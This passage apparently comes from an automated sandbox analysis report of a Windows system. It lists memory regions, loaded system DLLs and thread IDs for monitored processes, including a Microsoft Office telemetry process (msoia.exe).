	        filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat")

Region:
	              id = 2341
	        start_va = 0x370000
	          end_va = 0x371fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000370000"
	        filename = ""

Region:
	              id = 2342
	        start_va = 0x380000
	          end_va = 0x387fff
	     entry_point = 0x380000
	     region_type = mapped_file
	            name = "index.dat"
	        filename = "\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat")

Region:
	              id = 2343
	        start_va = 0x390000
	          end_va = 0x39ffff
	     entry_point = 0x390000
	     region_type = mapped_file
	            name = "index.dat"
	        filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat")

Region:
	              id = 2344
	        start_va = 0x22e0000
	          end_va = 0x23dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000022e0000"
	        filename = ""

Region:
	              id = 2345
	        start_va = 0x2400000
	          end_va = 0x247ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002400000"
	        filename = ""

Region:
	              id = 2346
	        start_va = 0x2480000
	          end_va = 0x255efff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002480000"
	        filename = ""

Region:
	              id = 2347
	        start_va = 0x25a0000
	          end_va = 0x269ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000025a0000"
	        filename = ""

Region:
	              id = 2348
	        start_va = 0x2740000
	          end_va = 0x283ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002740000"
	        filename = ""

Region:
	              id = 2349
	        start_va = 0x2840000
	          end_va = 0x293ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002840000"
	        filename = ""

Region:
	              id = 2350
	        start_va = 0x29c0000
	          end_va = 0x2abffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000029c0000"
	        filename = ""

Region:
	              id = 2351
	        start_va = 0x2ac0000
	          end_va = 0x2bbffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002ac0000"
	        filename = ""

Region:
	              id = 2352
	        start_va = 0x2c00000
	          end_va = 0x2c0ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002c00000"
	        filename = ""

Region:
	              id = 2353
	        start_va = 0x2cd0000
	          end_va = 0x2dcffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002cd0000"
	        filename = ""

Region:
	              id = 2354
	        start_va = 0x2df0000
	          end_va = 0x2eeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002df0000"
	        filename = ""

Region:
	              id = 2355
	        start_va = 0x2f50000
	          end_va = 0x304ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002f50000"
	        filename = ""

Region:
	              id = 2356
	        start_va = 0x3060000
	          end_va = 0x306ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003060000"
	        filename = ""

Region:
	              id = 2357
	        start_va = 0x31d0000
	          end_va = 0x32cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000031d0000"
	        filename = ""

Region:
	              id = 2358
	        start_va = 0x3420000
	          end_va = 0x351ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003420000"
	        filename = ""

Region:
	              id = 2359
	        start_va = 0x3520000
	          end_va = 0x3862fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000003520000"
	        filename = ""

Region:
	              id = 2360
	        start_va = 0x3a60000
	          end_va = 0x3adffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003a60000"
	        filename = ""

Region:
	              id = 2361
	        start_va = 0x77e10000
	          end_va = 0x77e12fff
	     entry_point = 0x77e10000
	     region_type = mapped_file
	            name = "normaliz.dll"
	        filename = "\\Windows\\System32\\normaliz.dll" (normalized: "c:\\windows\\system32\\normaliz.dll")

Region:
	              id = 2362
	        start_va = 0x7fee6cb0000
	          end_va = 0x7fee6d4ffff
	     entry_point = 0x7fee6cb0000
	     region_type = mapped_file
	            name = "comctl32.dll"
	        filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll")

Region:
	              id = 2363
	        start_va = 0x7fef4d40000
	          end_va = 0x7fef4d5bfff
	     entry_point = 0x7fef4d40000
	     region_type = mapped_file
	            name = "rasman.dll"
	        filename = "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll")

Region:
	              id = 2364
	        start_va = 0x7fef4d60000
	          end_va = 0x7fef4dc1fff
	     entry_point = 0x7fef4d60000
	     region_type = mapped_file
	            name = "rasapi32.dll"
	        filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll")

Region:
	              id = 2365
	        start_va = 0x7fef5ff0000
	          end_va = 0x7fef6063fff
	     entry_point = 0x7fef5ff0000
	     region_type = mapped_file
	            name = "netprofm.dll"
	        filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll")

Region:
	              id = 2366
	        start_va = 0x7fefa530000
	          end_va = 0x7fefa74cfff
	     entry_point = 0x7fefa530000
	     region_type = mapped_file
	            name = "office.odf"
	        filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\cultures\\office.odf")

Region:
	              id = 2367
	        start_va = 0x7fefb670000
	          end_va = 0x7fefb67afff
	     entry_point = 0x7fefb670000
	     region_type = mapped_file
	            name = "winnsi.dll"
	        filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll")

Region:
	              id = 2368
	        start_va = 0x7fefb680000
	          end_va = 0x7fefb6a6fff
	     entry_point = 0x7fefb680000
	     region_type = mapped_file
	            name = "iphlpapi.dll"
	        filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll")

Region:
	              id = 2369
	        start_va = 0x7fefb800000
	          end_va = 0x7fefb814fff
	     entry_point = 0x7fefb800000
	     region_type = mapped_file
	            name = "nlaapi.dll"
	        filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll")

Region:
	              id = 2370
	        start_va = 0x7fefbb00000
	          end_va = 0x7fefbb2cfff
	     entry_point = 0x7fefbb00000
	     region_type = mapped_file
	            name = "ntmarta.dll"
	        filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll")

Region:
	              id = 2371
	        start_va = 0x7fefc080000
	          end_va = 0x7fefc097fff
	     entry_point = 0x7fefc080000
	     region_type = mapped_file
	            name = "dwmapi.dll"
	        filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll")

Region:
	              id = 2372
	        start_va = 0x7fefc4b0000
	          end_va = 0x7fefc505fff
	     entry_point = 0x7fefc4b0000
	     region_type = mapped_file
	            name = "uxtheme.dll"
	        filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")

Region:
	              id = 2373
	        start_va = 0x7fefc690000
	          end_va = 0x7fefc883fff
	     entry_point = 0x7fefc690000
	     region_type = mapped_file
	            name = "comctl32.dll"
	        filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll")

Region:
	              id = 2374
	        start_va = 0x7fefcd50000
	          end_va = 0x7fefcd5bfff
	     entry_point = 0x7fefcd50000
	     region_type = mapped_file
	            name = "version.dll"
	        filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll")

Region:
	              id = 2375
	        start_va = 0x7fefd180000
	          end_va = 0x7fefd1c6fff
	     entry_point = 0x7fefd180000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")

Region:
	              id = 2376
	        start_va = 0x7fefd2a0000
	          end_va = 0x7fefd2fafff
	     entry_point = 0x7fefd2a0000
	     region_type = mapped_file
	            name = "dnsapi.dll"
	        filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll")

Region:
	              id = 2377
	        start_va = 0x7fefd480000
	          end_va = 0x7fefd496fff
	     entry_point = 0x7fefd480000
	     region_type = mapped_file
	            name = "cryptsp.dll"
	        filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")

Region:
	              id = 2378
	        start_va = 0x7fefda20000
	          end_va = 0x7fefda2afff
	     entry_point = 0x7fefda20000
	     region_type = mapped_file
	            name = "secur32.dll"
	        filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll")

Region:
	              id = 2379
	        start_va = 0x7fefda50000
	          end_va = 0x7fefda74fff
	     entry_point = 0x7fefda50000
	     region_type = mapped_file
	            name = "sspicli.dll"
	        filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll")

Region:
	              id = 2380
	        start_va = 0x7fefdb70000
	          end_va = 0x7fefdb83fff
	     entry_point = 0x7fefdb70000
	     region_type = mapped_file
	            name = "rpcrtremote.dll"
	        filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll")

Region:
	              id = 2381
	        start_va = 0x7fefdc30000
	          end_va = 0x7fefdc3efff
	     entry_point = 0x7fefdc30000
	     region_type = mapped_file
	            name = "msasn1.dll"
	        filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll")

Region:
	              id = 2382
	        start_va = 0x7fefddf0000
	          end_va = 0x7fefdf56fff
	     entry_point = 0x7fefddf0000
	     region_type = mapped_file
	            name = "crypt32.dll"
	        filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll")

Region:
	              id = 2383
	        start_va = 0x7fefee30000
	          end_va = 0x7fefee7cfff
	     entry_point = 0x7fefee30000
	     region_type = mapped_file
	            name = "ws2_32.dll"
	        filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll")

Region:
	              id = 2384
	        start_va = 0x7fefee80000
	          end_va = 0x7feff0d8fff
	     entry_point = 0x7fefee80000
	     region_type = mapped_file
	            name = "iertutil.dll"
	        filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll")

Region:
	              id = 2385
	        start_va = 0x7feff6e0000
	          end_va = 0x7feff857fff
	     entry_point = 0x7feff6e0000
	     region_type = mapped_file
	            name = "urlmon.dll"
	        filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll")

Region:
	              id = 2386
	        start_va = 0x7feff870000
	          end_va = 0x7feff999fff
	     entry_point = 0x7feff870000
	     region_type = mapped_file
	            name = "wininet.dll"
	        filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll")

Region:
	              id = 2387
	        start_va = 0x7feff9a0000
	          end_va = 0x7feffa38fff
	     entry_point = 0x7feff9a0000
	     region_type = mapped_file
	            name = "clbcatq.dll"
	        filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll")

Region:
	              id = 2388
	        start_va = 0x7feffe60000
	          end_va = 0x7feffeb1fff
	     entry_point = 0x7feffe60000
	     region_type = mapped_file
	            name = "wldap32.dll"
	        filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll")

Region:
	              id = 2389
	        start_va = 0x7feffec0000
	          end_va = 0x7feffec7fff
	     entry_point = 0x7feffec0000
	     region_type = mapped_file
	            name = "nsi.dll"
	        filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll")

Region:
	              id = 2390
	        start_va = 0x7fffffaa000
	          end_va = 0x7fffffabfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffaa000"
	        filename = ""

Region:
	              id = 2391
	        start_va = 0x7fffffac000
	          end_va = 0x7fffffadfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffac000"
	        filename = ""

Region:
	              id = 2392
	        start_va = 0x7fffffae000
	          end_va = 0x7fffffaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffae000"
	        filename = ""

Region:
	              id = 2393
	        start_va = 0x7fffffd3000
	          end_va = 0x7fffffd4fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd3000"
	        filename = ""

Region:
	              id = 2394
	        start_va = 0x7fffffd5000
	          end_va = 0x7fffffd6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd5000"
	        filename = ""

Region:
	              id = 2395
	        start_va = 0x7fffffd7000
	          end_va = 0x7fffffd8fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd7000"
	        filename = ""

Region:
	              id = 2396
	        start_va = 0x7fffffd9000
	          end_va = 0x7fffffdafff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd9000"
	        filename = ""

Region:
	              id = 2397
	        start_va = 0x7fffffdb000
	          end_va = 0x7fffffdcfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdb000"
	        filename = ""

Region:
	              id = 2398
	        start_va = 0x3a0000
	          end_va = 0x3a0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000003a0000"
	        filename = ""

Region:
	              id = 2399
	        start_va = 0x7fef6570000
	          end_va = 0x7fef6580fff
	     entry_point = 0x7fef6570000
	     region_type = mapped_file
	            name = "rtutils.dll"
	        filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll")

Region:
	              id = 2400
	        start_va = 0x7fef93b0000
	          end_va = 0x7fef93b8fff
	     entry_point = 0x7fef93b0000
	     region_type = mapped_file
	            name = "sensapi.dll"
	        filename = "\\Windows\\System32\\SensApi.dll" (normalized: "c:\\windows\\system32\\sensapi.dll")

Region:
	              id = 2558
	        start_va = 0x2c10000
	          end_va = 0x2ccffff
	     entry_point = 0x2c10000
	     region_type = mapped_file
	            name = "kernelbase.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui")

Region:
	              id = 2559
	        start_va = 0x32e0000
	          end_va = 0x33dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000032e0000"
	        filename = ""

Region:
	              id = 2560
	        start_va = 0x38a0000
	          end_va = 0x399ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000038a0000"
	        filename = ""

Region:
	              id = 2561
	        start_va = 0x3c50000
	          end_va = 0x3d4ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003c50000"
	        filename = ""

Region:
	              id = 2562
	        start_va = 0x7fef59c0000
	          end_va = 0x7fef59cbfff
	     entry_point = 0x7fef59c0000
	     region_type = mapped_file
	            name = "npmproxy.dll"
	        filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll")

Region:
	              id = 2563
	        start_va = 0x7fef7190000
	          end_va = 0x7fef71f3fff
	     entry_point = 0x7fef7190000
	     region_type = mapped_file
	            name = "webio.dll"
	        filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll")

Region:
	              id = 2564
	        start_va = 0x7fef7200000
	          end_va = 0x7fef7270fff
	     entry_point = 0x7fef7200000
	     region_type = mapped_file
	            name = "winhttp.dll"
	        filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll")

Region:
	              id = 2565
	        start_va = 0x7fef9660000
	          end_va = 0x7fef9677fff
	     entry_point = 0x7fef9660000
	     region_type = mapped_file
	            name = "dhcpcsvc.dll"
	        filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll")

Region:
	              id = 2566
	        start_va = 0x7fef9680000
	          end_va = 0x7fef9690fff
	     entry_point = 0x7fef9680000
	     region_type = mapped_file
	            name = "dhcpcsvc6.dll"
	        filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll")

Region:
	              id = 2567
	        start_va = 0x7fefd080000
	          end_va = 0x7fefd089fff
	     entry_point = 0x7fefd080000
	     region_type = mapped_file
	            name = "credssp.dll"
	        filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll")

Region:
	              id = 2568
	        start_va = 0x7fffffa4000
	          end_va = 0x7fffffa5fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa4000"
	        filename = ""

Region:
	              id = 2569
	        start_va = 0x7fffffa6000
	          end_va = 0x7fffffa7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa6000"
	        filename = ""

Region:
	              id = 2570
	        start_va = 0x7fffffa8000
	          end_va = 0x7fffffa9fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa8000"
	        filename = ""


Thread:
	id = 167
	os_tid = 0xb7c


Thread:
	id = 171
	os_tid = 0xb24


Thread:
	id = 172
	os_tid = 0x58c


Thread:
	id = 174
	os_tid = 0x35c


Thread:
	id = 176
	os_tid = 0x4f8


Thread:
	id = 179
	os_tid = 0x69c


Thread:
	id = 180
	os_tid = 0x310


Thread:
	id = 197
	os_tid = 0x594


Thread:
	id = 198
	os_tid = 0x52c


Thread:
	id = 201
	os_tid = 0x510


Thread:
	id = 202
	os_tid = 0x7b8


Thread:
	id = 203
	os_tid = 0x57c


Thread:
	id = 205
	os_tid = 0xa6c


Thread:
	id = 208
	os_tid = 0xa80


Thread:
	id = 258
	os_tid = 0x844


Thread:
	id = 259
	os_tid = 0x634


Process:
	id = "22"
	image_name = "msoia.exe"
	filename = "c:\\program files\\microsoft office\\root\\office16\\msoia.exe"
	page_root = "0x75c2a000"
	os_pid = "0xb54"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "18"
	os_parent_pid = "0xbc8"
	cmd_line = "\"C:\\Program Files\\Microsoft Office\\root\\Office16\\msoia.exe\" scan upload mininterval:2880"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "YKYD69Q\\aETAdzjz"
	os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e662" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]

Region:
	              id = 2040
	        start_va = 0x10000
	          end_va = 0x2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000010000"
	        filename = ""

Region:
	              id = 2041
	        start_va = 0x30000
	          end_va = 0x33fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000030000"
	        filename = ""

Region:
	              id = 2042
	        start_va = 0x210000
	          end_va = 0x30ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000210000"
	        filename = ""

Region:
	              id = 2043
	        start_va = 0x77c40000
	          end_va = 0x77de8fff
	     entry_point = 0x77c40000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 2044
	        start_va = 0x7efe0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efe0000"
	        filename = ""

Region:
	              id = 2045
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 2046
	        start_va = 0x13f480000
	          end_va = 0x13f7c1fff
	     entry_point = 0x13f480000
	     region_type = mapped_file
	            name = "msoia.exe"
	        filename = "\\Program Files\\Microsoft Office\\root\\Office16\\msoia.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msoia.exe")

Region:
	              id = 2047
	        start_va = 0x7fefff60000
	          end_va = 0x7fefff60fff
	     entry_point = 0x7fefff60000
	     region_type = mapped_file
	            name = "apisetschema.dll"
	        filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")

Region:
	              id = 2048
	        start_va = 0x7fffffb0000
	          end_va = 0x7fffffd2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000007fffffb0000"
	        filename = ""

Region:
	              id = 2049
	        start_va = 0x7fffffd3000
	          end_va = 0x7fffffd3fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd3000"
	        filename = ""

Region:
	              id = 2050
	        start_va = 0x7fffffde000
	          end_va = 0x7fffffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffde000"
	        filename = ""

Region:
	              id = 2051
	        start_va = 0x10000
	          end_va = 0x1ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000010000"
	        filename = ""

Region:
	              id = 2052
	        start_va = 0x20000
	          end_va = 0x20fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000020000"
	        filename = ""

Region:
	              id = 2053
	        start_va = 0x40000
	          end_va = 0x40fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000040000"
	        filename = ""

Region:
	              id = 2054
	        start_va = 0x50000
	          end_va = 0x50fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000050000"
	        filename = ""

Region:
	              id = 2055
	        start_va = 0xa0000
	          end_va = 0x19ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000a0000"
	        filename = ""

Region:
	              id = 2056
	        start_va = 0x1a0000
	          end_va = 0x206fff
	     entry_point = 0x1a0000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 2057
	        start_va = 0x310000
	          end_va = 0x40ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000310000"
	        filename = ""

Region:
	              id = 2058
	        start_va = 0x410000
	          end_va = 0x41ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000410000"
	        filename = ""

Region:
	              id = 2059
	        start_va = 0x420000
	          end_va = 0x5a7fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000420000"
	        filename = ""

Region:
	              id = 2060
	        start_va = 0x5b0000
	          end_va = 0x730fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000005b0000"
	        filename = ""

Region:
	              id = 2061
	        start_va = 0x740000
	          end_va = 0x1b3ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000740000"
	        filename = ""

Region:
	              id = 2062
	        start_va = 0x77a20000
	          end_va = 0x77b19fff
	     entry_point = 0x77a20000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 2063
	        start_va = 0x77b20000
	          end_va = 0x77c3efff
	     entry_point = 0x77b20000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 2064
	        start_va = 0x7efe0000
	          end_va = 0x7f0dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efe0000"
	        filename = ""

Region:
	              id = 2065
	        start_va = 0x7f0e0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007f0e0000"
	        filename = ""

Region:
	              id = 2066
	        start_va = 0x7fef8370000
	          end_va = 0x7fef8559fff
	     entry_point = 0x7fef8370000
	     region_type = mapped_file
	            name = "c2r64.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll")

Region:
	              id = 2067
	        start_va = 0x7fef8560000
	          end_va = 0x7fef8799fff
	     entry_point = 0x7fef8560000
	     region_type = mapped_file
	            name = "appvisvsubsystems64.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll")

Region:
	              id = 2068
	        start_va = 0x7fefaa80000
	          end_va = 0x7fefaa82fff
	     entry_point = 0x7fefaa80000
	     region_type = mapped_file
	            name = "api-ms-win-crt-utility-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-utility-l1-1-0.dll")

Region:
	              id = 2069
	        start_va = 0x7fefaa90000
	          end_va = 0x7fefaa92fff
	     entry_point = 0x7fefaa90000
	     region_type = mapped_file
	            name = "api-ms-win-crt-environment-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-environment-l1-1-0.dll")

Region:
	              id = 2070
	        start_va = 0x7fefaaa0000
	          end_va = 0x7fefaaa2fff
	     entry_point = 0x7fefaaa0000
	     region_type = mapped_file
	            name = "api-ms-win-crt-filesystem-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-filesystem-l1-1-0.dll")

Region:
	              id = 2071
	        start_va = 0x7fefaab0000
	          end_va = 0x7fefaab2fff
	     entry_point = 0x7fefaab0000
	     region_type = mapped_file
	            name = "api-ms-win-crt-time-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-time-l1-1-0.dll")

Region:
	              id = 2072
	        start_va = 0x7fefaac0000
	          end_va = 0x7fefaac4fff
	     entry_point = 0x7fefaac0000
	     region_type = mapped_file
	            name = "api-ms-win-crt-multibyte-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-multibyte-l1-1-0.dll")

Region:
	              id = 2073
	        start_va = 0x7fefaad0000
	          end_va = 0x7fefaad4fff
	     entry_point = 0x7fefaad0000
	     region_type = mapped_file
	            name = "api-ms-win-crt-math-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-math-l1-1-0.dll")

Region:
	              id = 2074
	        start_va = 0x7fefaae0000
	          end_va = 0x7fefaae2fff
	     entry_point = 0x7fefaae0000
	     region_type = mapped_file
	            name = "api-ms-win-crt-locale-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-locale-l1-1-0.dll")

Region:
	              id = 2075
	        start_va = 0x7fefaaf0000
	          end_va = 0x7fefab8bfff
	     entry_point = 0x7fefaaf0000
	     region_type = mapped_file
	            name = "msvcp140.dll"
	        filename = "\\Windows\\System32\\msvcp140.dll" (normalized: "c:\\windows\\system32\\msvcp140.dll")

Region:
	              id = 2076
	        start_va = 0x7fefab90000
	          end_va = 0x7fefab93fff
	     entry_point = 0x7fefab90000
	     region_type = mapped_file
	            name = "api-ms-win-crt-convert-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-convert-l1-1-0.dll")

Region:
	              id = 2077
	        start_va = 0x7fefaba0000
	          end_va = 0x7fefaba3fff
	     entry_point = 0x7fefaba0000
	     region_type = mapped_file
	            name = "api-ms-win-crt-stdio-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-stdio-l1-1-0.dll")

Region:
	              id = 2078
	        start_va = 0x7fefabb0000
	          end_va = 0x7fefabb2fff
	     entry_point = 0x7fefabb0000
	     region_type = mapped_file
	            name = "api-ms-win-crt-heap-l1-1-0.dll"
